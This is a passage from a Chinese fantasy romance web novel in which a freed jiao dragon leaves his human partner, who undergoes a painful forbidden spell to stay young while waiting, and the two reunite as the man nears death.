船头四角亭玲珑剔透,飞檐翘角如展翅的灵鸟,船柱上的祥云纹路层叠流转,垂落的纱幔随风轻舞,彩绘花窗透出斑驳光影,与雕花栏杆的繁复纹样遥相呼应。 船尾弧线高高扬起,似一弯新月划破水天,画舫足够精美,但是船身偏小。 李青辞站在船头划桨:“委屈你了,弄太大的船,我自己一个人划不动。” 玄鳞伸了伸腿:“还凑合,腿能伸直,比马车长了不少。” 李青辞回头冲着他笑:“家里的月湖连通城里的水渠可以直达城外,正好借点风,过一会儿咱们就能出城了。” 玄鳞走到他身边,接过他手里的船桨,一下子滑出去老远。 李青辞甩了甩酸软的手,偎在玄鳞身边给他捏腿。 “行了,让你那俩爪子歇会吧。”玄鳞把人搂在怀里箍住。 李青辞看着顺风而下的画舫,忧心道:“这能划出去多远呀?我怕回来不好划。” 玄鳞现在没有法力,他们两个人脚上都有锁链,也不好走路。 玄鳞语气淡然:“老实呆着,少操不该操的心。” 李青辞哦了一声,安心窝在他怀里。 太阳迟迟没有出来,河面刮起了风,咔嚓咔嚓的闪电亮在天际,耳畔响着轰隆的雷声,头发衣服乱飞,李青辞眼睛都要睁不开了。 “玄鳞,我们进船舱里吧,要下雨了。”李青辞整个人被玄鳞扣在怀里,两条手臂紧紧圈着他的腰,力道大到李青辞都觉出疼了。 “玄鳞,你干嘛呀?都抱疼我了。” 玄鳞没有回应,紧紧抱着他,嘴唇贴在他的鬓角上。 李青辞意识到了不对,他死死搂紧手臂,整个人慌张到极致,缠在玄鳞身上,嗓子紧到几乎发不出声音:“别……别…走……” 轰鸣的雷声淹没了他的哀求。 怀抱渐松,李青辞开始疯狂地哭喊,死死搂着玄鳞的脖子。 在他的哀求声中响起了哗啦啦的雨声。 玄鳞摸了下他心口的逆鳞,搂着他纵身一跃,跳进水里。 没有了阵法的禁锢和紫气的压制,再加上雷雨天气。 蛟龙得水而神可立也。 玄鳞强行化作原形,直接撑爆了锁链。 李青辞浸没在水中,视线浑浊不清,双手无助地张开摸索,他看不见玄鳞,也摸不到玄鳞。 整个人如一片无根飘苹,随着黑蛟掀起的巨浪,颠荡在水里。 “玄鳞!玄鳞!”李青辞歇斯底里地哭喊,“我错了,我真的知道错了,不要走。” 一声声喊叫几乎要把嗓子喊破泣血。 一只大掌捂住了他的嘴,玄鳞搂着他将人带出水面。 磅礴大雨,倾盆而下,李青辞身上却没有沾湿一滴水。 他被一股轻柔的力道送到岸边。 李青辞拼命挣扎:“玄鳞!玄鳞!我错了,你原谅我吧,我求求你了,别不要我!!别丢掉我!!” 隔着雨幕,玄鳞浮在水面上,沉沉目光落在岸边的人影上。 李青辞不管不顾,爬起来就往水里跳,拼命摆动手臂,朝水中间的人游过去。 一股浮力将他往上托,顷刻间,人又回到了岸上。 李青辞手脚拼命挣扎,用力扑腾,可是毫无用处,他被禁锢在岸边寸进不得。 忽然,那股禁锢的力道消失了,恍惚中,他看到一抹黑色的残影,紧接着有什么东西扫过了他的小腿。 李青辞站不稳,摔了个屁股墩。 一道低沉的声音响在他耳畔。 “好了,咱俩两清了。” 这条蛟被锁了这么久,他的报复就是让李青辞摔了一下。 尾巴快速撤回水中,水面上的身影也沉入水里,眨眼睛消失不见。 “玄鳞!” 李青辞发出一声绝望至极的哭喊,他跪在岸边朝水里爬,却在下一瞬失去了意识。 李青辞整个人软软倒下,一股微风托着他,将他送到画舫里,画舫逆风而行,平稳地朝前驶去。 玄鳞彻底化为原形,在水中畅游,然后腾空而起,跃入云层之中。 他的身上再也没有锁链束缚,体内澎湃着汹涌的灵力。 他浮在云中,视线落在远方,突然心下迷茫。 他不知道自己该去哪儿了。 腿上的锁链没有了,可是好像还有一条无形的锁链束缚在他身上。 玄鳞回望一眼,摒弃纷杂的思绪,漫无目的地往前飞,随意寻了一处沉睡。 等醒来,或许什么都好了。 …… 寒风呼啸,天空落着鹅毛大雪,李青辞跪在树下,朝孔雀磕头:“求你了,孔雀,你帮帮我吧。” 孔雀烦躁地转圈儿,大声道:“你知不知道自己在做什么?那条蛟已经走了,你换一个人喜欢不就好了吗?为什么这样作践自己?” 李青辞抬头直视他:“如果这么轻易能换,你为什么一直追着薛陵的转世?” 孔雀愣了愣,上前把他薅起来,拎着他往屋里走。 “我可以换一种方法帮你,在你的灵魂上打下烙印,到时候让那条蛟去找你的转世。” 李青辞道:“我的转世还会叫李青辞吗?跟我现在长得一模一样吗?我的父亲是李贞泽,母亲是陈玉香吗?我会有陈静婉、韩水谚、孔雀这样的朋友吗?我会有这一辈子的记忆吗?” 孔雀沉默了。 李青辞道:“那不是我,我不要转世,我只要这一辈子,我也只有这一辈子。” 他绝对不会让玄鳞重蹈覆辙,孔雀真得活得太苦了,明明容貌那么年轻,却有一双沧桑的眼睛,即使他脸上总带着笑意,却遮不住眼底的哀伤。 虚耗生命去追逐一个早就死去的人,他怎么舍得让玄鳞过那种生活。 孔雀垮下肩膀,沉默良久,他低着头说:“这是禁术,你会遭反噬,具体遭到什么反噬我也不知道,但最后的结果是你肯定会魂飞魄散。” 李青辞笑了:“没关系,不重要,我活这一辈子就可以了。” 孔雀道:“你为什么这么执着于皮相,一旦施了禁术,你的寿命会缩短很多。” 李青辞道:“那我能怎么办呢?我是凡人,我会衰老,我今年已经三十五岁了,玄鳞这次这么生我的气,一定会等很久才来找我。” “到时候,我如果变成了一个满头白发、脸上沟壑丛生、身形佝偻的老人,我该怎么面对他?” 他不能再变老了。 李青辞抬手掩面,手不停地颤:“玄鳞回来找我,让他看到我那个样子,他又该怎么办?” 他没办法让玄鳞早点回来找他,他能做的就是在原地等待。 孔雀皱着眉,一点不赞同:“你竟然把那条蛟用链子拴起来,你都这么对他了,他怎么还会回来找你,你别再惦记他了,算了吧。” 李青辞摇头:“他会回来找我的。” 他能感觉出来,玄鳞是真的很疼爱他,即使他在玄鳞心口捅了一下,把他锁起来一年多,玄鳞最后对他的报复,也只是让他摔了一下屁股墩。 孔雀叹了口气,凑到他脸前,盯着他的眼睛问:“你非要这么做,确定不改了?” 李青辞笑着说:“我确定。” 孔雀一族有操控轮回的秘术,这也是为什么孔雀能一次又一次找到薛陵的转世。 这个禁术是以寿命和灵魂为代价,将灵魂和肉身停留在某一个轮回的某个时刻里,等禁术散去,肉身和灵魂会彻底湮灭,再不入轮回。 孔雀抓着自己头上窜出来的羽毛,烦躁地开口:“这个禁术我没有用过,我不确定能让你维持多久,我也不知道你最后的下场是什么,但之前我族里有一个老东西用过,承担禁术的那个人被天雷劈成了灰。”【你现在阅读的是 】 第 71 章【VIP】 第71章 寿数天定,谁也改不了…… 李青辞不担忧自己的下场,只问:“到底能维持多久?” 孔雀不确定道:“一二十年?三四十年?我也说不好。” 李青辞无奈苦笑:“到底是多久啊?就算是相差一年,对我来说,也差别很大。” 孔雀揪着自己头上的羽毛:“你等等,你等我算一算,我算一算。” 片刻后。 他摆手道:“你先回去吧,这一时半会儿我也算不好,等我弄好了去找你。” 李青辞跪在地上谢他:“我知道这对你来说要消耗很多法力,可是我没有什么能弥补你的。” 孔雀把他从地上薅起来:“算了,反正薛九陵也死了,薛陵的气息我都感受不到了,不知道还有没有第十世的转世,正好我也快死了,就帮你一把吧。” 李青辞被这一连串的话惊得心神不定:“薛九陵什么时候死的?” 孔雀低声道:“有一阵子了,人我都已经埋在土里了,我用那条蛟的血救回了他,等他醒来后,听见我喊他薛九陵就开始疯狂喊叫,然后他趁我不注意,拿刀抹了脖子,很快就死了,我没有时间救他。” 李青辞恍惚起来:“那你怎么回事?怎么就要死了呢?你还能活多久?” 孔雀想了想,叹气道:“说不好,可能四五十年,可能六七十年,反正活不长了。” 李青辞听完,心中复杂不已,就算只活五十年,他也是赶在孔雀前头先死。 刚才那股浓重的悲伤被冲淡不少。 他呆滞地看着孔雀:“我有什么需要提前准备的吗?” 孔雀道:“到时候再说吧,我先算算你能活多久。” 李青辞抓住他的手臂,恳求道:“你快点算,我的时间耗不起了。” 孔雀道:“我知道,我知道,我想办法让你多活一点。” 李青辞心有惶然,可是他没有办法,只能回家等着。 一连等了三个多月,杳无音讯,孔雀还没来找他,家里始终只有他一个人。 冬去春来。 白昼越来越长,已过酉时,阳光还很炽热,李青辞待在衙署未走。 桌上摆着两本册子,共罗列了大雍朝二百条河流,且详细记载其情况。 左侧河流,碧波荡漾,清冽可鉴,饮之甘甜。 右侧则是常年有水患的河流,其中有十一条河流,每隔两三年就要发生一次水患,其水浑浊、多泥沙,人畜均无法饮用。 这是李青辞在公务之余,耗时三年整理出来的讯息。 再过几日,吏部就要确定拔擢官员名单。 李青辞有两条路可走,一是留在京城,二是外放地方。 京畿就在圣上眼皮子底下,河堤监管、修建等诸事,欺上瞒下、偷工减料的事情不多,且做得极有分寸,京城那些大人物都不是傻子,万一河堤没修好,淹了皇城,到时候全都要倒大霉,命能不能保住都难说。 但是地方上不一样,监管不到位,各方势力繁杂,都想在工程建造中捞取油水,修河堤能捞一笔,等河流决堤,发了水灾,赈灾时又能捞一笔。 李青辞想外放到地方上去。 外放的地方同样有两条路可选,一是清水,二是浊水。 李青辞低头看着自己身上的官服。 犹豫良久,他将记载清水的册子压在了底下。 …… 等到第五个月时,孔雀终于来找他了。 李青辞请了半个月的病假。 孔雀将他搁在阵法中间:“为了帮你这个忙,我尾巴上的毛都快薅秃了。” 李青辞忍不住笑了起来:“谢谢,你受累了。” 孔雀摆手:“咱俩不是朋友吗,为朋友两肋插刀,对吧?这个词是这么说的吧?” 李青辞点头:“是。” 孔雀右手结印,手掌压在他头顶,神色凝重起来:“我没有办法告诉你准确能活多久,只能算个大概,你的寿命最多维持一个甲子。” 李青辞马上就要三十六岁了,一个甲子,那他差不多还能活二十五年。 也足够了。 如果能等到玄鳞,就和他好好过完剩下的日子,等不到就算了,能维持这个年纪一直活到六十岁,他也不亏。 到时候玄鳞回来找他,只能看见一个坟包,那他在玄鳞眼里,一直都是那个小崽子。 玄鳞说了,就算他死了,只会难过一会儿。 那也没什么好挂忧的。 李青辞朝孔雀开口:“好,开始吧。” 孔雀缓缓催动法术:“事先跟你说好,这个法术很疼,我没有办法帮你缓解,你只能自己咬牙扛着。” 李青辞深吸一口气,闭上眼:“好,我知道了。” …… 深夜,后院里回荡着一声声凄厉的喊叫,以及令人毛骨悚然的抓挠声。 李青辞痛苦地在地上扭曲,手指的皮肉磨破,鲜血淋漓,几乎露出骨头。 太疼了!!! 真得太疼了!!!!! 浑身上下像是被极细的蛛丝一遍遍切割,皮肉迸开,血肉模糊,然后再愈合,再重新划烂。 这只是身体的疼,还有灵魂上的痛苦,痛到极致,却只能清醒着承受。 孔雀别开眼,给李青辞布下一个结界。 这种惨状他一眼都看不下去。 凄厉的喊叫逐渐暗哑,鲜红的血液流成一道道小溪,随着时间的推移凝固,变成黑褐色。 孔雀坐在树上,太阳第四次升起时,他打开门走进屋里,将地上血淋淋的人扶起来。 “青辞,好了,你熬过去了。” …… 日月更替,斗转星移,时间如白驹过隙,匆匆流过。 时值初夏,清澈的小溪淙淙流着,瀑布飞溅,带起一阵凉爽的水汽。 碧绿的潭水中,一双暗金色的巨大眼眸缓缓掀开。 玄鳞从沉睡中醒来,抬眼看着头顶的天光,缓了几息,他下意识想往一个地方去。 摆动的身躯却硬生生停滞在半道,随后缓缓下落,重新沉入水中。 玄鳞内心一片空茫,怔怔看着上方的天空。 不知过去多久。 玄鳞摆动尾巴,破水而出。 他立在岸边,环顾四周,才恍然发现,这里原来是他第一次见李青辞的地方。 玄鳞突然觉得很丧气,一觉醒来,原来没有什么不同,他心里还是惦记那个没良心的小崽子。 以往他每次睡醒,都会立刻去找小崽子,但现在…… 玄鳞看着眼前熟悉的小潭,心里越想越气,他怎么就放不下那个没心肝的人。 站在潭边矗立许久,玄鳞仍旧想不到自己要去哪。 江河湖海众多,天际广阔,好像都没有他想去的地方。 他一脚踢碎一块大石头,沉着脸,漫无目的地往山下走。 鼻翼翕动,玄鳞突然嗅到了一股似曾相识的气味,好像在哪里闻见过。 他寻着气味望过去,就见一个小姑娘在挖野菜。 玄鳞拧眉思索,除了李青辞,他不记得其他人的脸,跟其他的人也没有过交集。 这个小姑娘的脸对他来说很陌生,她的气息他明明是第一次嗅到,却总有一种莫名的熟悉感。 为什么他会对这个小姑娘感到熟悉呢? 梳着两条麻花辫的小姑娘挎着篮子,跑到河边呼喊:“爹!该回家了,太阳快下山了。” 一个身形精壮的男人拎着一篓子鱼走到岸边,他接过小姑娘手里的篮子,两人一起朝山下走。 男人道:“快走快走,你奶奶还在山脚等着呢。” 玄鳞看着那个男人,心里愈发疑惑,这个男人身上的气息他更加熟悉了,他是真的在哪里嗅到过。 他缀在这两人身后。 到了山脚,一位头发花白的妇人,蹙着眉,大声指责:“元宝!你怎么不穿鞋?山上净小石子儿,扎到脚怎么办?” 男人听完,立刻把手上的草鞋套在脚上。 小姑娘蹦蹦跳跳跑到妇人身边:“奶奶,我今天挖到好多野菜,回去你给我蒸菜团子吃。” 妇人抬高手,摸着自己孙女的脑袋,笑道:“瞧瞧我孙女,真能干,长得又高又漂亮!” 小姑娘笑嘻嘻的,搂着她一条胳膊:“嘿嘿!奶奶,我现在比你高了!” 玄鳞的眼神一直落在那个头发花白的妇人身上,他认真嗅了嗅,脑中的迷雾在一瞬间破开。 她是小崽子的朋友,是那个叫静婉的小姑娘。 这个男人是当初她肚子里那个崽子。 麻花辫小姑娘是这个男人的孩子。 那个叫静婉的小姑娘,现在满头白发,脸上很多褶皱。 他虽然记不清静婉的脸,但他觉得静婉的样子好像不是这样的,他应该是旁边麻花辫小姑娘的样子。 他记得静婉和小崽子是一样大的,那小崽子现在是什么样子? 玄鳞站在原地,怔怔地看着祖孙三人走远。 陈静婉哎哟一声:“不行了,走慢点,奶奶老了,跟不上你们的步子了。” 老了。 老了…… 玄鳞知道老了是什么意思。 那他的小崽子也老了吗? 玄鳞瞬间找到了自己想去的地方。 李青辞在他心口捅了一下,还把他锁了起来,他只是给了李青辞一巴掌,让他摔了下屁股墩,这怎么能行,不能这么轻易放过他。 玄鳞不再迷茫,他调转方向,当即掐诀要往京城去,他要抓住李青辞好好教训一顿。 可是掐诀的手一直在抖,玄鳞深深喘着粗气,慌乱到脚步都不稳了。 恍惚中,他好像嗅到了小崽子的气味儿。 一阵风朝他吹过来,玄鳞仔细嗅着。 不是错觉,他真的嗅到了小崽子的气味。 他循着气味,来到一座房子前,入目就是一颗熟悉的树。 他曾经给小崽子摘过这种树上的果子。 眼前这棵树是小崽子栽的,他记得他走的时候,这棵树还没有小崽子的胳膊粗。 现在…… 玄鳞抬眼望去,这棵树比两个小崽子加一起都粗。 脚下的路程被一步步缩短,那股熟悉到几乎刻在心里的气味越来越浓郁。 玄鳞来到房门前,颤着手撩开帘子。 满屋子全是小崽子的气味儿,可是他睃巡一圈,都没有看到熟悉的人影。 屋里摆放着一口棺材。 玄鳞知道棺材是干什么用的,那是凡人装死人用的。 一股浓郁的熟悉气息从棺材里散发出来。 玄鳞突然腿软,几乎要站不稳了,他心里很害怕,他第一次这么害怕,以前打架快死的时候都没这么怕过。 他忍着惊惧的心神,一步步走过去。 棺材露了一掌宽的缝,他透过缝隙,看到李青辞躺在棺材里。 双眼紧闭,面容苍白。 玄鳞愣住了,他缓缓探出手,哆哆嗦嗦地去碰李青辞的脖颈。 细微的跳动震在他指腹。 玄鳞一下子瘫软下来,像被打碎脊骨一样,他跌坐在棺材旁大口喘气。 颤抖到几乎痉挛的手掌按在棺材上,玄鳞突然很愤怒,他站起来,一把掀开棺材盖儿。 发出“砰”的一声巨响。 他揪起李青辞的衣领,把人从棺材里拽起来,暴怒大吼:“李青辞!你脑子有病吗!你一个活人为什么要睡在死人待的棺材里!” 这么大的动静,李青辞却依旧沉睡。 玄鳞满心慌乱,把他紧紧抱在怀里,无措地喊他:“……小崽儿,小崽儿!你怎么了?你说句话,你明明还活着的。” 玄鳞手掌按在他心口,迫切地感受他的心跳:“小崽儿乖,先别睡了,你别睡了,跟我说话,你跟我说话!” 这时,紧闭的眼帘颤了颤,李青辞缓缓张开了眼睛。 玄鳞一瞬不瞬地盯着怀里的人,双臂颤抖得几乎抱不住人了。 李青辞眼睛凝神的一瞬间,翘起嘴角笑了起来:“玄鳞,你回来啦!我好想你呀!” 玄鳞看着他满头的黑发,跟上次离开时一模一样的脸,他内心没有欣喜,只有恐慌:“你做了什么?为什么你的样子没有变?” 李青辞刚睡醒,脑子还很迟钝,他眨着眼睛,疑惑地看着玄鳞。 玄鳞的手在他脸上用力地摩挲:“我刚才见到了那个小姑娘静婉,她的头发几乎都是白的,脸上有很多细纹,她说她老了,老了就是快要死了,你们俩不是一样大吗?为什么你没有变?” 玄鳞嗓音颤抖起来:“为什么我在你身上嗅到了死气,小崽儿,你要死了吗?” 李青辞看着红了眼圈的男人,心里也难过起来。 玄鳞回来得太晚了,而他的时间太短了。 他快要死了。 孔雀说他活不过这个冬天。 玄鳞用脸紧紧贴着李青辞的脸蛋,可是却觉不出温暖,小崽子的脸比他还要凉。 “小崽儿,你到底怎么了?为什么会这样?那个静婉还好好活着,为什么你就要死了?” “你太不听话了,太不乖,我还没教训你,你怎么能死!!!” 这是玄鳞第一次在李青辞面前露出脆弱,第一次在他面前哭。 李青辞这才发觉他以往对玄鳞有多残忍,当自己心爱的人,痛苦地在自己面前哭,而自己无能为力时,那种心情有多难过。 李青辞慢慢抬起手,玄鳞给他擦了那么多次眼泪,这是他第一次给玄鳞擦眼泪。 “好啦,别哭了,人都会死的,我只是寿命到了。” 玄鳞死死咬着牙,把脸埋在李青辞的脖颈里。 李青辞抱着他,在他背后慢慢顺着:“我还能再活一阵子,应该还有两三个月才死,这段时间你就在家里陪着我,好不好?” 死。 小崽子会死。 这个认知冲击着玄鳞的意识,让他陷入一种绝望的恐慌里。 他还很年轻,还有很漫长的生命,他的小崽子怎么会这么早就死? 那他以后怎么办? 他不仅是一条失去逆鳞的蛟,还是一条失去了雌兽的蛟。 “不行!你不能死!”玄鳞死死搂着李青辞的腰,把人往怀里勒,“我还活着呢,你现在不能死。” 李青辞沉默着,没有说话。 玄鳞猛地扳过他的脸,看着他逼问:“说!你都做了什么?再敢骗我,我活活掐死你!” 李青辞笑了笑,歪头蹭他的手:“就会这样吓我,你才舍不得掐死我。” 玄鳞红着眼圈看他。 李青辞脸上的笑意僵住,他低下头,抿了抿嘴,思索良久,仍是隐瞒了。 “我的官越做越大,又有花不完的钱,我不想变老,想一直年轻,就找道士给我炼丹药,现在丹药的药效过了,我的寿命也到了。” 玄鳞搂着他不说话。 心里又气又恼,小崽子又骗他。 李青辞面上轻松,语气说得随意:“死就死吧,也不是什么重要的事,谁都有死的那一天。” 其实他心里满是不甘和遗憾,他这一辈子和玄鳞过日子的时间太短了。 他金榜题名、大权在握、意气风发的时候,玄鳞不在他身边。 他被妖拖下水,沉在河水里差点淹死的时候,玄鳞也不在他身边。 玄鳞在他身边的时候,他的日子总是安稳的、平淡的,没有波折。 那是他一生中最幸福的时光,可惜这些时光太过短暂。 他看着眼前这张依旧年轻的脸庞,早些年心里的那点怨恨散了个干净。 他能和这么好的一条蛟过那么开心的日子,等待还是很值得的,短点就短点吧,也是应该的。 不能天下的便宜都让他一个人占了。 李青辞发自内心地笑了起来:“我就知道你会回来找我的,果然,我还是等到了。” 玄鳞从胸口的鳞片里掏出一缕白发:“你是为了等我,才会变成现在这样,对不对?你不想让我看见你老的样子。” 李青辞沉默了,眼神落在那缕白发上,那是玄鳞从他头上拔下来的,没想到一直攒着。 玄鳞握紧头发:“我拔你头发的时候,你是不是知道?后来我没在你头上见到过白发,我把你翻过来,想给你抚平眼角的细纹,可你睡觉的时候脸总是埋在我脖子里,我一动你,你就哼唧着不让碰。” 李青辞满心无奈,他不想让玄鳞知道凡人有多脆弱、寿命有多短,不想让玄鳞面对生离死别,他想让玄鳞轻松随意地活着,可玄鳞还是因为他伤心了。 玄鳞捧着他的脸,近乎哀求地看着他:“小崽儿,你跟我说实话,你到底做了什么?我才能想办法救你。” 李青辞摇头:“你救不了我,这是我的命,寿数天定,谁也改不了。” 玄鳞垂着头沉默。 李青辞凑过去贴了贴他的脸:“好啦,笑一笑吧,剩下的日子我想开开心心地活着,我不想难过,也不想你难过。” 玄鳞抱着他起来:“那个棺材是怎么回事?你为什么要睡在那里面?” 李青辞道:“那是孔雀给我找的,让我安魂用的,我睡在那里面能活得久一点,不过,现在效用也不大了。” 他在这个棺材里已经睡了十来年了,躺在里面时,人很木楞,睡醒后要很久才能缓过神,如今都快死了,他不想睡了。【你现在阅读的是 】 第 72 章【VIP】 第72章 加一更 这根锁链叫李青辞 李青辞拍着玄鳞的肩膀:“放我下来吧,我去收拾,晚上咱俩一块睡床。” 玄鳞抱着他不松。 窗外夕阳欲坠,光线昏黄起来。 玄鳞将人搁在榻上,操控着水流,把他全身上下仔仔细细清洗一遍,棺材的阴沉气息渐渐散去,可是那股浓郁的死气一如既往,没有半分消散。 “头发乱糟糟的。”玄鳞把李青辞搁在腿上,用手给他梳头发。 李青辞道:“睡觉睡乱的,我现在自己在家,也不想束发了。” 早些年,过了四十五岁,为了掩饰自己容貌的异样,他要一直梳妆掩盖,十几年如一日,如今家里只有他一个人,终于可以彻底放松了。 玄鳞一边给他梳头,一边发问:“怎么回这个家了?” 李青辞道:“两年前我就辞官了,京城里人太多了,这里清静。” 玄鳞怔了怔,手指一顿,这么快呀,小崽子竟然已经辞官了。 他继续梳理李青辞的头发:“饿不饿,等会我给你弄吃的?” 李青辞坦然道:“有一点饿了。” “好,这就去给你找吃的。”玄鳞从心口的鳞片处掏出一根红绸布条。 拿出来时才发现,曾经鲜红的布条如今褪色暗淡。 李青辞余光瞥到了那根布条,那是他们成婚时,他绑在玄鳞麻花辫上的。 褪色的布条就像李青辞即将逝去的生命。 玄鳞手抖了一下,他塞回黯淡的红绸,从自己袖子上撕下一截儿绑住李青辞的头发。 “好了,你现在又是一个干干净净、漂漂亮亮的小崽儿。”玄鳞很想显得若无其事一点,可是他的尾音却忍不住带出一丝颤抖。 他双臂圈住李青辞的肩膀,额头抵在他发顶。 李青辞忽然后悔了。 他不应该回来这里等玄鳞,而是应该去一个陌生的地方,让玄鳞找不到他。 他怎么能让玄鳞眼睁睁看着他死呢。 玄鳞这么疼爱他,他死了,玄鳞可能不会只难过一会儿,会难过很多会儿。 两人身上都流露出浓重的悲伤。 玄鳞率先从悲伤中抽离出来,他亲了亲李青辞的额角:“乖,没事的,走,我带你去弄好吃的。” 李青辞笑了笑:“好。” 他伸直腿,打算下来走路,不料被玄鳞抱住了。 玄鳞一手托住他的屁股,一手搂住他的腰:“窝好。” 李青辞弯着腰背,搂住玄鳞的脖子,脑袋搭在他肩上。 玄鳞抱着人一边朝山上走,一边释放大??量妖气。 没一会儿,一只游隼扑腾着翅膀,迅速朝玄鳞飞过来。 玄鳞眯起鎏金色的眼睛,眼神一凛,朝那只游隼看去。 游隼眼睛失神片刻,随即扇动翅膀,飞速朝京城飞去。 此时,天边夕阳已尽,两人又一次坐在水潭边。 李青辞辞环顾一周,隔了四十年,他又一次回到这个地方。 水潭没什么变化,身边的黑色身影也没变化。 只有他变了。 玄鳞一边搂着李青辞,一边给鹌鹑上刷蜂蜜:“这个水潭好小,我盘在里边睡了一觉,醒来觉得身上哪哪都憋屈。” 李青辞听完愣住了,他扭过头去看玄鳞:“你这一次是在这里睡的觉吗?” 玄鳞避开他的视线,似有些不太情愿地低嗯一声。 李青辞不由得苦笑。 这二十多年,他着人打听过一些清澈大江附近的消息,希望能得到玄鳞的踪迹,可惜一无所获。 他回到这个家里已经有一年半了,却一次也没来过山上,他不想重游故地,把自己搞得伤感难过。 没想到玄鳞居然会睡在这个水潭里。 “怎么了这是?”玄鳞腾出手,两只手都抱着李青辞轻轻拍着,语气慌乱,“好好的,哭什么?” 那股闷在心底许久的思念,终于开始发酵迸发,李青辞如梦初醒似的,迟钝地感受到那股清冽的气味,干涸的心泉在一瞬间丰盈满溢。 他埋在玄鳞肩上嚎啕大哭,委屈地哭诉:“你怎么才回来呀!我好想你呀,我真的好想好想你呀,我都以为自己等不到你了!” “对不起,我不该锁你,你原谅我吧,玄鳞你原谅我吧!” 玄鳞垂着眼皮,默默给他擦眼泪。 他上次离开的时候,跟李青辞说两清了。 他是真的要打算跟李青辞两清,再也不去见他。 李青辞即使挨了他一巴掌,依旧倔强地看着他,说不后悔。 他不想自己要时时刻刻防备身边躺着的人,他怕自己抱着小崽子满心欢喜的时候,心口再被捅一下,再被锁在方寸之地动弹不得。 他不想自己整天活在猜忌里。 可是当他醒来时才发现,他当初漫无目的寻找的地方竟然是这个水潭。 他心里还是放不下小崽子,他醒过来的一刹那,下意识就想去找李青辞。 他担心小崽子吃不好睡不好,身上的肉又少了,担心他路走多了腿酸没有人抱,担心他天黑了一个人在外面没有人接,担心他冬天冻着,夏天热着。 当他透过棺材的缝隙,再次看到李青辞的脸时,他忽然发觉,他身上的锁链其实一直都没有解开。 而且在他没有发觉的时候,有一根无形的锁链早就套在了他身上,并且这根锁链,他这一辈子都不可能解开了。 这根锁链叫李青辞。 他一想到李青辞会死,身体会变凉,嘴巴不会再说话,亮晶晶的眼睛不会再睁开巴巴地看着他,尸体会在土里慢慢腐烂。 他心疼得简直要碎了。 玄鳞紧紧搂着李青辞,满腔悲愤:“我不原谅你!只要我活着我就不原谅你!你现在还在锁着我!!我根本就挣脱不开!!!我永远都挣脱不开了!!!” 李青辞愣了愣,然后沉默起来。 许久之后,他垂着眼,说了一句苍白无力的道歉:“对不起。” “你的对不起有用吗?很值钱吗?就是一句废话!”玄鳞狠狠抹了把脸,拿下烤好的鹌鹑,撕掉腿上的肉,喂到李青辞嘴边,“吃!” 李青辞张嘴慢慢嚼着。 “大口吃!” 缓缓蠕动的腮帮子快速鼓囊起来。 “慢点嚼,来,张嘴,喝口汤。” “唔……好……” 等把人喂饱后,玄鳞抱着李青辞往山下走。 头顶的月光照亮两人前行的路。 李青辞扯着玄鳞的头发:“放我下来吧,吃得好撑,我想自己走会儿。” 玄鳞脚步顿住,李青辞双脚触地,站在地上。 他刚伸出手就被牵住了,手掌被紧紧包裹住。 玄鳞拢着凉润的小手,心绪莫名。 小崽子不热了,是因为快死了吗? 黝黑的眼睛像是蒙了一层雾一样,不那么亮晶晶了,眉眼间萦绕着一股疲态,但是眼里的笑意还是和以前一样,巴巴地望着他看。 玄鳞用鼻尖蹭了蹭李青辞的脸蛋,握紧他的手,慢慢朝山下去。 …… 晚间。 玄鳞给李青辞洗完澡,烘干他的头发和身上的水渍,抱着人往屋里走。 李青辞除了刚开始的僵硬和不适应,很快就坦然起来。 两人搂抱着躺在床上,玄鳞问:“身上这么凉,要不要盖被子?” 李青辞摇头:“现在是夏天,而且我也不冷,只是身体凉而已。” 这是那个禁术的反噬。 玄鳞在他身上摸了摸,又把人搂紧一些,手掌抵在他后背,源源不断的热意烘着李青辞。 李青辞本来不舍得睡,想抱着玄鳞好好说会儿话,结果困意涌上来,很快就失去了意识。 玄鳞又朝他脸上吹了两口气,李青辞彻底昏睡过去。 玄鳞掐住他的脸,迫使他张嘴,滴滴嗒嗒的血液流进他嘴里。 一只大掌紧贴在他腹部,为他散去那股滚烫的热意。 可是李青辞实在太脆弱了,承受了六滴心头血之后就再难支撑。 玄鳞不甘心地撤下手,重新把人搂在怀里。 翌日清晨。 李青辞从睡梦中醒来,身体仍旧疲乏,好像怎么睡都缓不过来。 他愣愣地睁着眼,晃了几息,才反应过来他被人抱在怀里。 隔了二十五年,他终于又被抱在怀里了,一睁眼就能看到自己心爱的人躺在身边。 李青辞笑了,眼泪也下来了,心境忽然往后倒退很多年。 他伸手搂住玄鳞的脖子,朝他弩嘴:“疼疼我吧。” 玄鳞抹去他眼角的泪珠,用嘴唇磨他的脸蛋,磨他的鼻子。 然后亲他的嘴唇。 玄鳞眯了眯眼,鎏金色的竖瞳一瞬不瞬地盯着李青辞看,牙尖磨动,嘴里分泌出许多涎液,全都灌给了李青辞。 李青辞吞咽不及,呛了一下,玄鳞往他嘴里徐徐吹了口气。 李青辞咽了咽口水,诧异道:“玄鳞,你刚才给我喂的什么,喝起来甜滋滋的。” 玄鳞没说话,摸他的脸。 还是凉的。 以前他稍微给李青辞喂点儿血和涎液,李青辞就能立马精神起来。 可现在脸色依旧苍白,嘴唇毫无血色。 是他喂得不够多,还是…… 玄鳞攥紧手,提起李青辞让他坐好:“乖,我再疼疼你。” 舌尖精血混合着涎液,慢慢灌进李青辞嘴里。 李青辞嘴里全是甜味儿,鼻息间也是甜甜的味道,给他熏得脑袋晕乎乎的。 玄鳞看他依旧苍白的脸和失神的眼睛,深吸了口气,压下心底的暴躁。 他朝李青辞吹了口凉气,把人从迷离的状况中拉回来,本来就虚,那点精血再往外淌,岂不是更虚。 李青辞绞了下腿,眼睛慢慢凝神,恢复清醒。 玄鳞抱他起来:“走,去吃饭。” 一连半个月。 附近有点灵气的活物全进到李青辞肚子里了。 玄鳞天天给他喂血,喂涎液,依旧改不了他苍白的脸色,好在嘴唇泛着微红,凉润的小手也有了点暖意。 终于让玄鳞看到了点希望,不再那么绝望挫败。 这天。 下了一场大雨,傍晚凉风习习,彩霞满天。 李青辞高高翘起嘴角笑着,看起来神采奕奕的,他握着钓竿,眼神落在微微泛起波澜的水面上。 “玄鳞,你不许再给我作弊了,我要自己钓。” 玄鳞颠了颠腿,腿上的人影晃了几下。 李青辞不高兴地啧了一声,反手去拍他的腰:“你别乱动,把鱼给我吓跑了。” 玄鳞没再说话,也没再乱动,紧紧搂着他的腰,脸贴着他的脸颊。 李青辞放松身体,懒散地倚在他怀里。 不一会儿,水面泛起浪花,有鱼上钩了,李青辞猛地提杆。 “哈哈……是条鲫鱼,快比我的手长了。” 